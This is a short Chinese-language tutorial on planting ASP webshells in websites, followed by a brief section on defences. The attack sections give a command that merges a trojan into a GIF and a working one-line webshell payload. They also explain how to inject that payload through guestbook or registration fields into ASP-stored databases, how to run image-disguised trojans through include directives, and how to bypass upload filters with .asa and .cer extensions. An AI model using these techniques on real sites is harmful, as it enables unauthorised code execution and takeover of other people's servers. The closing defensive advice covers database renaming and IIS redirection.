一、木馬生成
asp木馬代碼加密，圖片合併，文件時間修改，還有要命的系統漏洞利用
圖片和木馬合併命令：
copy 1.gif /b + asp.asp /a asp.gif
二、木馬上傳
如果後臺沒有類似數據庫備份功能，可以生成新文件，或者直接修改文件。那麼很難直接讓木馬運行，不過還是有一些方法，可以考慮。
1、如果後臺數據庫是以asp格式存儲的。那麼可以採用在數據庫中插入一句話木馬(<%execute request("1")%>)，然後利用一句話木馬上傳一個完整木馬。
2、如果網站後臺允許修改網站聯繫信息等頁面，而且頁面也是也是以asp存儲，那麼可以利用asp的包含文件，巧妙的令jpg、bmp等格式木馬得以運行。比如在其中插入
<!-- #include file=/upload/****.jpg -->
3、還可以看看網站上傳類型是否有嚴格的過濾，如果僅僅是限制了asp文件，那麼可以嘗試上傳asa、cer等等。
作爲技術性問題，可以這樣實現。
一般情況下，在留言板、個人註冊等地方，需要個人信息。
而且在進行個人信息中的個人主頁、郵件地址等信息，不會有太嚴格的過濾。這就爲插入一句話木馬提供了可能性。
舉例說明：我給一個網站留言，我在填寫我的“個人主頁”或者“email”時，不輸入真實信息。而輸入一句話木馬。這樣，只要知道了asp數據庫地址，那麼提交一句話木馬後，直接訪問asp數據庫就可運行木馬了。
所以，很多人把acess數據庫改名爲asp以防止下載，豈不知危害照樣存在，只不過換了一種方式而已。
三、如何防護
1、是的，對方猜出正確的數據庫路徑的機率和同一地點被雷集中兩次機率幾乎相同。但是需要注意的是在寫連接數據庫文件時，注意防止暴庫
2、是的，而且如果你的數據庫不是以asp存放，那麼就無所謂了。
3、這個問題有點大。估計網上的討論也沒有停止過，個人認爲也沒有標準答案。不過，我認爲安全是一個整體，必須從多個方面考慮，以分層次防禦的方法無疑是一個好辦法。
我自己通常是從兩個層次進行防護，其一就是數據庫改名（包括文件名和後綴名）最好改爲你自己都記不住又長的那種。這樣別猜測的可能性降到最低。這是從asp層面進行防護，也是現在最常用，最流行的方法
其二，如果你的數據庫已經暴露（由於一些別的原因或者未知的漏洞），那麼也還是有辦法的，這就是第二層防護，從iis層面進行防護（但這有個要求，就是你要具有iis管理權限），方法如下，運用iis的url重定向功能。在iis配置中，將數據庫文件永久重定向到某個固定的url（當然，你可以事先在這個url寫好一些問候的頁面）。這樣所有從外部提交的請求都會被送到那個url而你的數據安然無恙，即使別人知道了數據庫真實地址，也只能忘庫興嘆。
